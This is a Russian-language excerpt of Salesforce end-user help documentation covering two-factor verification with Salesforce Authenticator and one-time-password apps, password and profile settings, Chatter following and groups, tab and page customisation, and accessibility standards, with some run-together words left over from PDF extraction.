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Активация устройства, инициирующего запрос на проверку подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Политики паролей
доступны в версиях: все
версии.

Благодаря активации устройства система Salesforceможет легкопроверять подлинность
пользователя и предотвращать несанкционированный доступ.

Иногда пользователю предлагается пройти проверку на установление личности при
входевSalesforce. Приустановленииличноститакжевыполняется «активация» устройства.
Активация устройства позволяет Salesforce связать личность с устройством. Активация
помогает предотвратить несанкционированный доступ к организации.

При входе в систему с нераспознанного устройства Salesforce предлагает проверить
подлинность посредством одного из нижеприведенных методов проверки.

Мобильное приложение средства проверки подлинности Salesforce
При подключении приложения средства проверки подлинности Salesforce (версии
2.0 иболеепоздних) корганизациииспользуйтеприложениедляпроверкидействийорганизации Salesforce. Salesforce
отправляет всплывающее уведомление на ваше мобильное устройство. При получении уведомления откройте
приложение, проверьте сведения о действии и нажмите на «Подтвердить» на своем мобильном устройстве.

Важное замечание: Функциипроверкиподлинностипосредствомвсплывающихуведомленийиавтоматической
геолокационной проверки подлинности с помощью мобильного приложения Salesforce Authenticator версии
2.0 и выше станут доступны с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в безопасной среде недоступны. В
связи с особенностями процессов выпуска приложений в интернет-магазинах App Store и Google Play версия 2.0
может стать доступна для загрузки до того, как новый способпроверкиподлинности станет доступен в тестовых
средах и производственных организациях. Пользователи, загрузившие новую версию приложения, не смогут
использовать возможности версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

Приложение для создания одноразовых паролей
Приподключенииприложениядляпроверкиподлинности (например, Salesforce Authenticator или Google Authenticator)
к организации используйте приложение на своем мобильном устройстве для создания проверочного кода. Этот тип
кода называется «одноразовый пароль с ограниченным сроком действия». Значение кода периодически изменяется.

SMS-сообщение
Если проверенный номер мобильного телефона привязан к организации, проверочный код поступит на телефон в
виде текстового сообщения. Если к вашей организациине привязан проверенныйномермобильного телефона, при
входе в Salesforce для вас выводится запросна регистрациюномера телефона. Прирегистрациипроисходитпроверка
вашегомобильного телефона; при возникновениинеобходимости впроверках в будущембудет использоваться этот
способ проверки подлинности. Приизмененииномера мобильного телефона свяжитесь с вашим администратором
Salesforce.

Эл. почта
Salesforceотправляетпроверочныйкод в электронномсообщениина адрес электроннойпочты, привязанныйк вашей
организации. Срок действия этого кода закончится через 24 часа.

Подключение Salesforce Authenticator (версия 2.0 и выше) для проверки подлинности в организации
Для организации можно подключить мобильное приложение Salesforce версии 2.0 и выше. Данное приложение
используется системой Salesforce для проверки подлинности. Если ваш администратор требует двухфакторной
проверки подлинности в целях повышения безопасности входа или получения доступа к отчетам и панелям, вы
можете использовать это приложение для проверки подлинности организации. Если в организации введена
двухфакторная проверка, но пользователь не подключил приложение, при следующем входе в систему Salesforce
будет выведено сообщение, предлагающее выполнить подключение. Если в организации не применяется
двухфакторная проверка, пользователь может подключить приложение в личных настройках.
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Подключение к приложению генератора разового пароля или устройству проверки подлинности
При необходимости подключите приложение генератора разовых паролей (например, Salesforce Authenticator или
Google Authenticator) к собственной учетной записи. Используйте проверочный код, сгенерированныйприложением
(иногда называемый контролируемым по времени разовым паролем), когда Salesforce будет проверять подлинность.
Еслиадминистратортребует выполнениядвухфакторнойпроверкиподлинностисцельюповышениябезопасности
для входа, получения доступа к связанным приложениям либо доступа к отчетам или к панели мониторинга,
воспользуйтесь кодомприложения. Еслипользовательдолжениспользоватьдвухфакторнуюпроверкуподлинности
до подключения приложения, пользователю будет предложено подключиться к нему в следующий раз при входе в
систему Salesforce. Если в организации не применяется двухфакторная проверка, пользователь может подключить
приложение в личных настройках.

Подключение Salesforce Authenticator (версия 2.0 и выше) для проверки подлинности
в организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Для организации можно подключить мобильное приложение Salesforce версии 2.0 и
выше. Данноеприложениеиспользуется системой Salesforceдляпроверкиподлинности.
Если ваш администратор требует двухфакторной проверки подлинности в целях
повышениябезопасности входа илиполучения доступа к отчетамипанелям, выможете
использовать это приложение для проверки подлинности организации. Если в
организации введена двухфакторная проверка, но пользователь не подключил
приложение, при следующем входе в систему Salesforce будет выведено сообщение,
предлагающее выполнить подключение. Если в организации не применяется
двухфакторная проверка, пользователь может подключить приложение в личных
настройках.

Важное замечание: Функциипроверки подлинности посредством всплывающих
уведомленийиавтоматическойгеолокационнойпроверкиподлинностиспомощью
мобильногоприложения Salesforce Authenticator версии 2.0 ивышестанут доступны
с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в
безопасной среде недоступны. В связи с особенностями процессов выпуска
приложений в интернет-магазинах App Store и Google Play версия 2.0 может стать
доступна для загрузки до того, как новый способ проверки подлинности станет
доступен в тестовых средах и производственных организациях. Пользователи,
загрузившие новую версию приложения, не смогут использовать возможности
версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

Приложение Salesforce Authenticator (версия 2.0 и выше), установленное на мобильном устройстве, представляет собой
второй «фактор» проверки. Использование приложения обеспечивает для организации дополнительный уровень
безопасности. При выполнении действия, требующего проверки подлинности, приложение отправляет уведомление
на мобильное устройство. Пользователь, получивший уведомление, открывает приложение на мобильном устройстве,
проверяет сведенияодействиииразрешает выполнение. Приполученииуведомленияонесанкционированномдействии
пользователь может заблокировать действие через приложение. Для заблокированного действия можно установить
отметку, чтобы его проверил администратор Salesforce. Кроме того, приложение предоставляет проверочные коды,
которые могут использоваться для альтернативной проверки подлинности.

1. Загрузите и установите приложение Salesforce Authenticator версии 2.0 или выше для используемого мобильного
устройства. Для iPhone приложение доступно в App Store. Для устройств Android приложение доступно в Google Play.

Если на мобильном устройстве установлено приложение Salesforce Authenticator версии 1, обновите его до версии 2.0
в магазине App Store или Google Play. Приобновленииприложения все подключенныеорганизациибудут сохранены.
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Для ранее подключенных организаций проверка выполняется только с помощью кодов. Рассылка всплывающих
уведомлений или автоматическая геолокационная проверка недоступны. Под именами таких организаций в списке
подключенныхорганизацийвприложенииотображаютсякодыпроверки. Приналичиитакойорганизацииутекущего
пользователя Salesforce проведите по странице приложения пальцем влево, чтобы удалить логин, прежде чем
продолжитьработу. Чтобыповторноподключитьучетнуюзаписьстакимименемпользователя, выполнитеследующие
действия. Переподключениеорганизацииобеспечиваетдоступкполномуфункционалу Salesforce Authenticator версии
2.0: всплывающим уведомлениям, автоматической гелокационной проверке и проверочным кодам.

2. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

3. Найдите строку «Регистрация приложения: Salesforce Authenticator» ищелкните кнопку «Подключить».

4. Из соображений безопасности, выполните вход в организацию.

5. Откройте приложение средства проверки подлинности Salesforce на своем мобильном устройстве.

Если приложение запускается впервые, выполняется обзор функционала. Просмотрите обзор или сразу добавьте
организацию Salesforce в приложение.

6. Для добавления организации нажмите в приложении +.

Приложение генерирует уникальнуюфразу из двух слов.

7. Введите слова в поле «Фраза из двух слов» в системе Salesforce.

8. Щелкните «Подключить».

Если на мобильном устройстве установлено приложение для создания кодов проверки для организации, вам может
быть выслано уведомление. При подключении приложения Salesforce Authenticator версии 2.0 коды, создаваемые
старым приложением, становятся недействительными. С этого момента все коды будут создаваться в приложении
Salesforce Authenticator.

9. ПриложениеSalesforce Authenticator позволяетпросматриватьсведенияоподключаемойорганизации. Чтобызавершить
подключение, нажмите кнопку «Подключить».

СМ. ТАКЖЕ:

Активация устройства, инициирующего запрос на проверку подлинности

Настройка требований к входу при двухфакторной проверке подлинности

Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя

Индивидуальная настройка системы Salesforce
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Подключение к приложению генератора разового пароля или устройству проверки
подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Принеобходимостиподключите приложение генератора разовых паролей (например,
Salesforce Authenticator или Google Authenticator) к собственной учетной записи.
Используйте проверочный код, сгенерированный приложением (иногда называемый
контролируемым по времени разовым паролем), когда Salesforce будет проверять
подлинность. Если администратор требует выполнения двухфакторной проверки
подлинности с целью повышения безопасности для входа, получения доступа к
связанным приложениям либо доступа к отчетам или к панели мониторинга,
воспользуйтесь кодом приложения. Если пользователь должен использовать
двухфакторную проверку подлинности до подключения приложения, пользователю
будетпредложеноподключиться к нему в следующийраз при входе в систему Salesforce.
Если в организации не применяется двухфакторная проверка, пользователь может подключить приложение в личных
настройках.

1. Загрузитеподдерживаемоевашимтипомустройстваприложениесредствапроверкиподлинности. Принеобходимости
воспользуйтесьлюбымприложениемсредствапроверкиподлинности, поддерживающималгоритмконтролируемого
по времениразового пароля (IETF RFC 6238), например Salesforce Authenticator для iOS, Salesforce Authenticator для Android
или Google Authenticator.

2. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

3. Найдите функцию «Регистрация приложения: генератор разовых паролей» ищелкните «Подключить».

4. Из соображений безопасности, выполните вход в организацию.

5. Просканируйте QR-код с помощью приложения средства проверки подлинности на мобильном устройстве.

В качестве альтернативы можно нажать на «Невозможно просканировать QR-код» в своем обозревателе.
Обозревательотображаетключбезопасности. Вприложениисредствапроверкиподлинностивведитеимяпользователя
и отображенный ключ.

6. В системе Salesforce введите код, созданный приложением средства проверки подлинности, в поле «Код проверки».

Приложение средства проверки подлинности генерирует новый код проверки регулярно. Введите текущий код.

7. Щелкните «Подключить».

СМ. ТАКЖЕ:

Активация устройства, инициирующего запрос на проверку подлинности

Настройка требований к входу при двухфакторной проверке подлинности

Настройка требований ко входу при двухфакторной проверке подлинности для API-доступа

Отключение пользовательского приложения для создания одноразовых паролей

Индивидуальная настройка системы Salesforce
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Редактирование личных сведений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступные параметры
настройки определяются
используемой версией
Salesforce.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Чтобы внести изменения, нажмите кнопку «Правка».

Подтверждение об изменении адреса эл. почты отправляется на новый адрес.
Щелкнитессылкувполученномсообщении, чтобыприменитьновыйадрес. Данный
процесс позволяет обеспечить безопасность системы.

3. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Изменение пароля

Поля пользователей

Настройка профиля Chatter

Индивидуальная настройка системы Salesforce

Изменение пароля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

После входа для повышения уровня защиты следует изменить пароль. Если пароль
утерян, щелкните ссылкуВосстановление пароля на странице входа в систему, чтобы
сбросить пароль посредством эл. почты.

Воизбежаниенесанкционированногодоступак конфиденциальнымданнымрегулярно
меняйте пароль. Если администратор Salesforce использует регулярную смену паролей,
в конце каждого периода отображается соответствующее напоминание.

Прим.: При наличии полномочия «Использует единую регистрацию» пароль
может быть сброшен только администратором. Обратитесь за помощью к
администратору Salesforce.

1. Введите строку «Пароль» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Изменитьмойпароль».

2. Заполните обязательные поля.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Сброс забытого пароля

Сброс маркера безопасности

Активация устройства, инициирующего запрос на проверку подлинности

Индивидуальная настройка системы Salesforce
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Изменение контрольного вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Пользователь может восстановить пароль, подтвердив свою личность путем ответа на
выбранныеранееконтрольныевопросы. Контрольныевопросыиответыможноизменить
в личных параметрах на странице «Изменить мой пароль».

Прим.: Еслипараметр «Изменитьмойпароль» недоступен, обратитесьзапомощью
к администратору Salesforce.

1. Введите строку «Пароль» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Изменить мой пароль».

2. Введите текущий пароль.

3. Выберите контрольный вопрос в раскрывающемся меню.

4. Введите ответ на вопрос в поле «Ответ».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Редактирование языковых и региональных параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

1. В разделе личных параметров войдите в раздел «Часовой пояс» в поле «Быстрый
поиск», затем выберите «Язык и часовой пояс». Нет результатов? Введите строку
«Личные сведения» вполе «Быстрый поиск» ивыберитепункт «Личныесведения».

2. Настройте перечисленные ниже параметры.

• Выберите основной часовой пояс в раскрывающемся списке «Часовой пояс».

• Выберите страну или географический регион в раскрывающемся списке
«Регион».

• Выберите основной язык в раскрывающемся списке «Язык». Выбранный язык
используется для отображения всего текста и интерактивной справки.

• Выберите кодировку для сообщений эл. почты, отправляемых из системы Salesforce, в раскрывающемся списке
«Кодировка эл. почты».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Поля пользователей

Индивидуальная настройка системы Salesforce
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Редактирование параметров электронной почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Редактируйтепараметрыисходящихсообщенийэлектроннойпочты, чтобыопределять
возникающее имя и возможную подпись. Пользователь может также определять
обратныйадресисоглашатьсяна автоматическиеотправлениесообщенийэлектронной
почты о соответствии на свой обратный адрес.

1. Введите строку «Мои параметры эл. почты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Мои параметры эл. почты».

2. Внесите необходимые изменения.

Прим.: В версиях Personal Edition и Developer Edition слоган Salesforce добавляется
под личной подписью пользователя во всех исходящих сообщениях эл. почты.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Настройка параметров типа записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы автоматически назначать новым записям стандартный тип записи, настройте
соответствующий параметр. Данный параметр позволяет пропускать страницу,
содержащую запрос на выбор типа записи. Пользователи, которым доступны разные
типы записей, могут выбирать нужный тип при каждом создании записи.

1. Настраницеличныхнастроеквведитестроку «Тип записи» вполе «Быстрый поиск»
и выберите «Задать стандартные типы записей» или «Выбор типа записи» в
зависимости от того, какой заголовок будет выведен.

2. Чтобы автоматически выбирать стандартный тип записи при создании записей
данного типа, установите соответствующийфлажок.

В противном случае тип записи выбирается вручную.

3. Нажмите кнопку «Сохранить».

Прим.: Параметр «Выбор типа записи» доступен только в том случае, если организация использует типы записей,
либо для отдельной вкладки доступные разные типы записей.

Отдельные флажки доступны только при наличии нескольких типов записей для отдельной вкладки.

Если организация использует организации-лица, тофлажку «Организация», установленному на данной странице,
соответствует один стандартный тип записи для всех типов организаций. Стандартные типы записей не могут быть
заданы для организаций-компаний и организаций-лиц по отдельности. Рекомендуем пропустить данныйфлажок
при использовании обоих типов организаций.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Обновление контактных данных
Контактные данные можно обновить в любое время на странице профиля. Их могут просматривать все пользователи в
вашей организации.

Доступно в версиях: Salesforce Classic и Lightning Experience.

Доступнов версиях: Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition, Contact
Manager и Developer Edition.

Чтобы обновить контактные данные, щелкните ссылку со своим именем илифотографиюв профиле. Можно изменить
все данные, кроме поля «Менеджер». Его может изменить только администратор Salesforce.

В разделе «Сообщества» вы можете определить доступность контактных данных внутри сообществ по полям. Можно
показывать данные только сотрудникам, участникам сообществ, не являющимся сотрудниками вашей компании, или
гостям, не выполнившим вход в систему. К отдельным полям имеют доступ все пользователи, имеющие доступ к
сообществу.

Изменение фотографии в профиле пользователя или группы
Пользователь может загрузить собственнуюфотографию в свой профиль или фотографию для группы Chatter,
которой он управляет или за которую несет ответственность.

Отслеживание пользователей
Функция отслеживания пользователей позволяет просматривать обновления в ленте Chatter, включая сообщения,
комментарии и предпочтения.

Отслеживание записей
Функция отслеживания записей позволяет просматривать обновления в ленте Chatter, включая изменения полей,
сообщения, задачи и комментарии к записям.

Присоединение или выход из состава группы
Пользователи могут присоединяться к группам, чтобы вести работу над проектами и общими сферами интересов
вместе с другими участниками. Это также позволяет предоставлять участникам группы общий доступ к файлам и
данным проекта.

Поиск в ленте сообщений
Вам нужно найти пользователя, группу или файл? Воспользуйтесь поиском в ленте, чтобы быстро отыскать
необходимое.

СМ. ТАКЖЕ:

Изменение фотографии в профиле пользователя или группы

Изменение фотографии в профиле пользователя или группы
Пользовательможет загрузить собственнуюфотографиювсвойпрофильилифотографиюдля группы Chatter, которой
он управляет или за которую несет ответственность.

Доступно в версиях: Salesforce Classic и Lightning Experience.
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Доступнов версиях: Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition, Contact
Manager и Developer Edition.

1. Перейдите на страницу профиля или группы.

2. Наведите курсор на фотографию и выберите параметр «Добавитьфотографию» или «Обновить».

3. Найдите фотографию, которую следует загрузить, и откройте файл. Допустимые форматы файла: JPG, GIF или PNG.
Размер файла не должен превышать 8 Мб.

4. Создайте миниатюру для изображения, перетащив пунктирные линии на фотографию.

При загрузке фотографии для собственного профиля и участии в сообществах установите флажок «Показывать в
сообществах с общедоступными страницами». Данный параметр позволяет показывать фотографию
пользователям-гостям, просматривающим общедоступные сайты или страницы, которые не требуют входа.

5. Сохраните внесенные изменения.

Отслеживание пользователей
Функция отслеживания пользователей позволяет просматривать обновления в ленте Chatter, включая сообщения,
комментарии и предпочтения.

Доступно в версиях: Salesforce Classic и Lightning Experience.

Доступнов версиях: Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition, Contact
Manager и Developer Edition.

Для отслеживания участника щелкните ссылку «Отслеживать» на странице профиля участника.

Сообщения, комментарииипредпочтенияпользователей, добавленныхдляотслеживания, отображаютсявленте Chatter.
Разрешается отслеживать не более 500 людей, тем и записей. Чтобыпросмотреть количество отслеживаемых элементов,
воспользуйтесь списком «Отслеживание» в профиле.

Чтобы прекратить отслеживать пользователя, нажмите значок . Обновления, публикуемые пользователем, который
больше не отслеживается, не будут отображаться в ленте Chatter.

СМ. ТАКЖЕ:

Отслеживание записей

Отслеживание записей

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записи:
• «Чтение» для записи

Функция отслеживания записей позволяет просматривать обновления в ленте Chatter,
включая изменения полей, сообщения, задачи и комментарии к записям.

Доступно в версиях: Salesforce Classic и Lightning Experience.

Доступнов версиях: Group Edition, Professional Edition, Enterprise Edition, Performance
Edition, Unlimited Edition, Contact Manager и Developer Edition.
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Изменения полей, отображаемые в ленте, определяются полями, настроенными администратором для функции
отслеживания ленты. Обновления зашифрованных настраиваемых полей не отображаются в лентах.

Для отслеживания записи щелкните ссылку «Отслеживать» на странице записи.

Обновления для отслеживаемой записи отображаются в ленте. Разрешается отслеживать не более 500 людей, тем и
записей. Чтобыпросмотреть количествоотслеживаемыхэлементов, воспользуйтесь списком «Отслеживание» впрофиле.

Чтобы включить функцию автоматического отслеживания созданных записей, соответствующим образом настройте
личные параметры. Введите строку «Мои ленты» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Мои
ленты» и установите флажок в поле «Автоматически отслеживать созданные записи». Обратите внимание, что
созданные события, задачи и панели мониторинга не подлежат автоматическому отслеживанию.

Чтобыотменитьотслеживаниетемы, щелкните настраницезаписи. Обновления, публикуемыедлязаписи, отслеживание
которой отменено, не отображаются в ленте Chatter.

СМ. ТАКЖЕ:

Отслеживание пользователей

Индивидуальная настройка системы Salesforce

Присоединение или выход из состава группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Пользователи могут присоединяться к группам, чтобы вести работу над проектами и
общими сферами интересов вместе с другими участниками. Это также позволяет
предоставлять участникам группы общий доступ к файлам и данным проекта.

1. Перейдите на страницу со сведениями о группе.

2. Для присоединения к общедоступной группе нажмите ссылку «Присоединиться»
или «Присоединиться к группе». Для присоединения к личной группе нажмите
ссылку «Запрос на присоединение». Запрос будет отправлен ответственному или
менеджеру группы, имеющему право принимать или отклонять запросы.

Пользовательможетбытьучастникомнеболее300 групп. Данноеограничениеохватывает
все группы Chatter, кроме архивных. Например, пользователь, являющийся участником
300 групп (включая 10 архивных), может стать участником только 10 дополнительных
групп.

Длятогочтобывыйтиизсостава группыилиотозвать запроснаприсоединениекличной
группе, перейдите на страницу сведений о группе и нажмите значок или ссылку «Выйти из группы».
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Поиск в ленте сообщений

ВЕРСИИ

Доступно в Salesforce
Classic и Lightning
Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Вам нужно найти пользователя, группу или файл? Воспользуйтесь поиском в ленте,
чтобы быстро отыскать необходимое.

Поиск в ленте сообщений Lightning Experience

Чтобынайтипользователей, группыилифайлы, выполнитеуказанныенижедействия.

Поиск лент сообщений в Salesforce Classic

Чтобынайтиленту, файл, группу, темуилипользователя Chatter, выполнитеуказанные
ниже действия.

Поиск в ленте сообщений Lightning Experience

ВЕРСИИ

Доступно в Lightning
Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы найти пользователей, группы или файлы, выполните указанные ниже действия.

1. Введите поисковый запрос в область, расположенную в верхнем колонтитуле.

2. Щелкнитессылку«ЛЕНТЫ»настраницесрезультатамипоиска, чтобыпросмотреть
сообщения в ленте «Вся компания», включая совпадающие с вашим поисковым
запросом.

Поиск лент сообщений в Salesforce Classic

ВЕРСИИ

Доступно только в
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы найти ленту, файл, группу, тему или пользователя Chatter, выполните указанные
ниже действия.

1. Введите поисковый запрос в область, расположенную в верхнем колонтитуле.

2. Нажмите кнопку «Поиск».

Настраницерезультатовпоискапоказанывсе совпадения, обнаруженныев Salesforce,
включая Chatter. Здесь вы можете уточнить запрос и продолжить поиск. Например,
для просмотра результатов по всем лентам Chatter нажмите ссылку «Поиск по
лентам».

Принеобходимостивыполнитепоискпоконкретномузапросу. Например, чтобынайти
упоминания пользователя в группе, введите имя пользователя в поле поиска,
расположенное над лентой группы.

Пример:

61

Обновление контактных данныхОсновы Salesforce



Добавление вкладок для часто используемых элементов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Пользовательскийинтерфейс Salesforce состоитизвкладок, позволяющихпросматривать,
добавлятьиредактировать сведенияобобъекте. Набордоступныхвкладокопределяется
текущим приложением. Приложение может быть дополнено вкладками для часто
используемых элементов.

1. Щелкните значок справа от текущих вкладок.
При этом откроется страница «Все вкладки». По умолчанию данная страница
содержит все вкладки, доступные для просмотра или добавления.

2. Чтобы просмотреть список вкладок для отдельного приложения, выберите нужное
приложение в раскрывающемся списке «Просмотр».

3. Нажмите кнопку «Настройка моих вкладок».

4. Выберите нужное приложение в раскрывающемся списке «Настраиваемое приложение».
Например, чтобы добавить вкладку «Идеи» только в приложение Marketing, выберите значение Marketing.

5. Чтобыпереместить вкладкииз списка «Доступныевкладки» в список «Выбранныевкладки», воспользуйтесь кнопками
«Добавить» и «Удалить». Чтобы изменить порядок отображения вкладок, воспользуйтесь кнопками «Вверх» и
«Вниз».

6. Нажмите кнопку «Сохранить».

7. Чтобыпросмотретьвкладку, добавленнуювредкоиспользуемоеприложение, откройтесоответствующееприложение.

СМ. ТАКЖЕ:

Просмотр доступных вкладок Salesforce

Настройка параметров отображения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Чтобы настроить параметры отображения Salesforce, воспользуйтесь личными
параметрами.

• Настройка вкладок и порядка их отображения в приложении

• Настройка содержимого страниц

Настройка вкладок
Выберите вкладки, отображаемые при входе, или вкладки, отображаемые в каждом
используемом приложении.

Настройка страниц
Выберите связанные списки, отображающиеся на страницах сведений.
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Настройка вкладок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Выберите вкладки, отображаемые при входе, или вкладки, отображаемые в каждом
используемом приложении.

1. На странице личных параметров введите строку «Настройка моих...» в поле
«Быстрый поиск» и выберите пункт «Настройка моих вкладок». Если ничего не
изменилось: введите строку «Отображение» в поле «Быстрый поиск» и выберите
пункт «Изменить мое отображение».

2. Выберите нужное приложение в раскрывающемся списке «Настраиваемое
приложение».
По умолчанию отображаются вкладки выбранного настраиваемого приложения,
заданные для текущего профиля.

Прим.: Изменениестандартнойцелевойвкладкиможетинициироватьизменениепервойвкладки, отображаемой
при выборе приложения.

3. При необходимости добавьте каждую нужную вкладку и измените порядок отображения выбранных вкладок.

4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Настройка страниц

Индивидуальная настройка системы Salesforce

Настройка страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Выберите связанные списки, отображающиеся на страницах сведений.

1. Введитестроку «Настройка моих...» вполе «Быстрый поиск» вменю «Настройка»
ивыберитепункт «Настройкамоихстраниц». Еслиничегонеизменилось: введите
строку «Отображение» в поле «Быстрый поиск» и выберите пункт «Изменитьмое
отображение».

Выберите снимок панели мониторинга, который должен отображаться на вкладке
«Начальная страница». Ссылка для настройки вкладки «Начальная страница»
отображается только после добавления панели мониторинга в макет начальной
страницы.

Выберите связанные списки, которые должны отображаться на страницах сведений всех других вкладок.

• Чтобыдобавитьилиудалитьсвязанныйсписок, выберитенужныйсвязанныйсписокинажмитекнопку«Добавить»
или «Удалить».

Прим.: Изменение макета страницы для отдельной вкладки может инициировать изменение данного
параметра.

• Чтобы изменить порядок отображения связанных списков, выберите нужный связанный список в поле «Список
выбранных» и нажмите кнопку «Вверх» или «Вниз».
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2. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Настройка вкладок

Индивидуальная настройка системы Salesforce

Просмотр доступных вкладок Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Чтобыпросмотреть все вкладки, доступныепользователювсистеме Salesforce, щелкните
значок (+) напротив основных вкладок.

Ниже перечислены действия, доступные на данной странице.

• Чтобы открыть вкладку, щелкните имя нужной вкладки.

• Чтобы просмотреть логотип и доступные вкладки для каждого приложения,
воспользуйтесь раскрывающимся списком «Просмотр».

• Чтобы изменить порядок отображения вкладок на странице, нажмите кнопку
«Настройка моих вкладок».

СМ. ТАКЖЕ:

Добавление вкладок для часто используемых элементов

Стандарты доступности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рассмотрим стандарты, используемые компанией Salesforce при создании приложений,
поддерживающих режим доступности.

КомпанияSalesforce занимаетсяразработкойнастраиваемыхкорпоративныхприложений,
доступных всем пользователям, включая пользователей, работающих со
вспомогательнымисредствами (например, программноеобеспечениедляраспознавания
речи и программы для чтения экрана). Данная цель достигается компанией Salesforce
путем соблюдения общепризнанных международных рекомендаций, перечисленных
в статье 508 закона о реабилитации инвалидов, и рекомендаций по доступности
веб-содержимого (WCAG) 2.0, уровень AА.

Доступность наших продуктов оценивается согласно документу Voluntary Product Accessibility Template (VPAT),
предназначенному для подтверждения соответствия продукта стандартам доступности, перечисленным в статье 508
закона о реабилитации инвалидов.

Общие требования доступности
Ниже перечислены требования, которые следует учитывать при использовании системы Salesforce.

• Поддержка JavaScript должна быть доступна и включена.

• Всплывающее предупреждение о завершении сеанса, предлагающее выполнить выход или продолжить работу,
отображается автоматически по истечении заданного периода бездействия. Данный интервал отображения может
быть настроен или отключен администратором. Используемый обозреватель должен поддерживать отображение
всплывающихоконSalesforce; впротивномслучае, предупреждениеопредстоящемзавершениисеансанеотображается.

• Пробные и бета-функции могут быть недоступны.
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Рекомендованные обозреватели
Компания Salesforce использует последнюю версию обозревателя Mozilla® Firefox® или Microsoft® Internet Explorer® в
операционной системе Windows®илиобозреватель Apple® Safari® в операционной системе OS X® для общего тестирования
доступности.

Обращение в компанию Salesforce по вопросам доступности
Чтобы получить доступ к документации и статьям базы знаний или обратиться в службу поддержки, щелкните ссылку
«Справка и обучение» вверху любой страницы.

Чтобысообщитьолюбомвопроседоступностиилиотправить запроснаполучениелюбогодокумента в альтернативном
формате, обратитесь по адресу accessibility@salesforce.com.

Прим.: Служба поддержки недоступна пользователям версий Personal Edition и Developer Edition. Кроме того,
пользователям версии Developer Edition не предоставляется доступ к базе знаний. При возникновении вопросов,
связанных с доступностью, рекомендуем обращаться по адресу accessibility@salesforce.com (на английском языке).

Режим доступности
Рассмотрим изменения, происходящие в системе Salesforce при использовании режима доступности.

Включение режима доступности
Включение режима доступности предоставляет пользователям доступ к вспомогательным средствам (например,
программное обеспечение для распознавания речи и программы для чтения экрана), позволяющимоптимизировать
процессы использования системы Salesforce.

Рекомендации по доступности Salesforce

РассмотримфункциидоступностиSalesforce, предназначенныедляпользователей, работающихсовспомогательными
средствами (например, программное обеспечение для распознавания речи и программы для чтения экрана).

